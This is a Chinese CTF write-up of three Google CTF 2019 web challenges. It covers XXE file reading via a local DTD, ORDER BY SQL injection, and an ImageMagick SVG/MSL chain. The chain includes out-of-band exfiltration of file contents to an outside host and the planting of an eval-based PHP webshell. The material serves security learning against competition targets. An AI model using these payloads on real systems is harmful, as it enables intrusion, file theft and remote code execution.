最近大家看《亲爱的,热爱的》有点上头,本文就来给大家介绍下真正的CTF赛题及解题思路,学习完后,万一也能找到一个佟年那样的女朋友,那你就可以独自优秀了!
前言
写篇复盘的Google Capture The Flag 2019 (Quals) WP
BNV
题目描述:
There is not much to see in this enterprise-ready™ web application.
题目地址:
https://bnv.web.ctfcompetition.com/
题目解答:
burp抓包发现传输json数据
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/json
Content-Length: 38
Connection: close
{"message":"135601360123502401401250"}
联想到json转换为xxe进行文件读取,首先为了验证猜想直接修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误,确认了猜想。
手动把json转换为xxe格式,发现报错说缺少DTD
想到之前看到的一个点《使用本地DTD文件来利用XXE漏洞实现任意结果输出》(https://www.freebuf.com/articles/web/195899.html)
所以构造如下paylaod对flag进行读取
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/xml
Content-Length: 374
Connection: close
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
最后分享一个XXE cheat sheet——https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
<—有点老了,感觉可以把我的也整理一下发一发?随后有时间再整理吧。
gLotto
题目描述:
Are you lucky?
题目链接:
https://glotto.web.ctfcompetition.com/
题目解答:
点击页面右下角可以看到页面的源码,具体的链接是
https://glotto.web.ctfcompetition.com/?src
从源码中分析我们可以得到以下几点:
orderx参数拼接可造注入
orderx对应四个表,轮换查询
每次生成的session会存入数据库中
提交的code跟session相同就可以得到flag,而且判断完就销毁session
那么解决问题的关键就是利用注入来获取到之前设置的session值,而且要通过四次orderx参数的注入(order by注入)来完成。
接下来采用数学的方法来解决这个问题
https://cfreal.github.io/google-ctf-2019-glotto-writeup.html
Exp:
https://github.com/cfreal/exploits/tree/master/gctf-2019-glotto
题目的关键部分代码:
<?php
require_once('config.php');
require_once('watchdog.php');
function gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ')
{
$len = strlen($charset);
$rand = openssl_random_pseudo_bytes($count);
$secret = '';
for ($i = 0; $i < $count; $i++)
{
$secret .= $charset[ord($rand[$i]) % $len];
}
return $secret;
}
if (isset($_GET['src'])) {
die(highlight_string(file_get_contents(__FILE__)));
} else if (isset($_POST['code'])) {
session_start();
if (!isset($_SESSION['winner'])) die;
$win = $_SESSION['winner'];
unset($_SESSION['winner']);
session_destroy();
if ($_POST['code'] === $win)
{
die("You won! $flag");
} else {
sleep(5);
die("You didn't win :(<br>The winning ticket was $win");
}
}
session_start();
$tables = array(
'march',
'april',
'may',
'june',
);
$winner = gen_winner(12);
$_SESSION['winner'] = $winner;
$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
//$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($db->connect_errno) {
printf("Connect failed: %s\n", $db->connect_error);
exit();
}
$db->query("SET @lotto = '$winner'");
for ($i = 0; $i < count($tables); $i++)
{
$order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : '';
if (stripos($order, 'benchmark') !== false) die;
${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : ""));
if (!${"result$i"}) die;
}
?>
gphotos
题目描述:
Upload your photoz. FYI: /info.php
题目链接:
http://gphotos.ctfcompetition.com:1337/
题目解析:
首先右键源码看源码就额可以看到这个上传功能对应的后端PHP代码
http://gphotos.ctfcompetition.com:1337/?action=src
通过阅读代码可以发现以下几点:
mime_content_type
来检测文件的MIME类型并且限制了只能是image/gif
, image/png
, image/jpeg
, image/svg+xml
这四种类型。
之后使用get_size
函数,这个函数对image/png
, image/jpeg
,会检测大小,如果是其它类型就当做xml文件来处理。
在之后就是利用thumbnail
函数来得到缩略图,这其中就使用了ImageMagick的 convert命令。
上传文件会被移动到upload目录下,并且后缀是根据对应的MIME类型进行拼接的,文件名是md5之后的hash值,而且图片是经过转换之后的缩略图,所以在图片里面藏shell代码基本不可能的了。
但是目标可以处理svg图,那么就明显是要使用XXE漏洞来达到攻击的目的了。XXE只是帮助我获取ImageMagick的配置文件,这里有一个小trick,就是在带外传输数据的时候如何传输过长的数据。
上传如下svg图
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" >
%remote;%template;
]><svg>&res;</svg>
ev.xml文件的内容如下
<!ENTITY % secret SYSTEM "THING_TO_STEAL" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
但是此时的ev.xml对于直接传输一个文件而言还是不好用,所以借助php的伪协议来助攻一下。总之就是压缩之后进行base64
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">
之后的paylaod还是借助ImageMagick在处理特殊的msl文件时会执行其中的命令来触发(这个特性好像只在debain上存在),具体的攻击流程如下:
首先使用如下命令生成包含webshell的png,上传之后主页会返回路径和文件名
convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png
返回内容
/var/www/html/upload/<hash>/<image>.png
PS: 注意使用bash不要用zsh
之后上传我们的svg图
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/<hash>/<image>.png" />
<write filename="/var/www/html/upload/shell_huihui.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/<hash>/<image>.png" />
</svg>
</image>
返回内容
/var/www/html/upload/<hash>/<image2>.svg
最后再上传如下的svg来将上一个svg内容进行执行
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" />
</svg>
最后执行在webroot目录下的webshell即可
http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag')
这里学到的几个点:
XXE带外传输大文件的方法
Debians+不安全的ImageMagick配置将会导致href标签的伪协议读文件或者是配合msl文件执行命令
like
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
网站的关键源码
<?php
require_once('config.php');
error_reporting( E_ALL );
session_start();
// totally not copy&pasted from somewhere...
function get_size($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}
function workdir() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d))
mkdir($d);
return $d;
}
function list_photos() {
$d = 'upload/'.md5(session_id());
if (!is_dir($d)) return [];
$result = [];
foreach(glob("{$d}/*.*") as $f) {
if (strrpos($f, 'small') === FALSE)
$result[basename($f)] = $f;
}
return $result;
}
function upload() {
if (!isset($_FILES['photo']))
return;
$p = new PhotoUpload($_FILES['photo']['tmp_name']);
$p->thumbnail();
}
class PhotoUpload {
private $failed = false;
function __construct($path) {
$formats = [
"image/gif" => "gif",
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg",
// Uncomment when launching gVideoz
//"video/mp4" => "mp4",
];
$mime_type = mime_content_type($path);
if (!array_key_exists($mime_type, $formats)) {
die;
}
$size = get_size($path, $mime_type);
if ($size[0] * $size[1] > 65536) {
die;
}
$this->ext = $formats[$mime_type];
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";
move_uploaded_file($path, workdir()."/{$this->name}");
}
function thumbnail() {
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret);
if ($ret)
$this->failed = true;
}
function __destruct() {
if ($this->failed) {
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
}
}
}
if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload();
header('Location: ?');
die;
break;
case 'src':
show_source(__FILE__);
die;
default:
break;
}
}
?>
<html>
<head>
<title>gPhotoz</title>
</head>
<body>
<div>
<form action="?action=upload" method="POST" enctype="multipart/form-data">
<input type="file" name="photo"><input type="submit" value="Upload">
</form>
</div>
<div>
<?php foreach(list_photos() as $name => $path): ?>
<div>
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a>
</div>
<?php endforeach ?>
</div>
</body>
<a href="?action=src"></a>
</html>
至此,完结。学完后有没有觉得你甚至比韩商言还牛逼,毕竟你也是专业的,并且职业生涯远远不止六年,哈哈哈哈.........祝你找到一个优秀的女朋友.........
相关练习
XXE漏洞攻击与防御 :掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。
长按下面二维码,或点击“阅读原文”,可预览学习(PC端操作最佳哟)
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!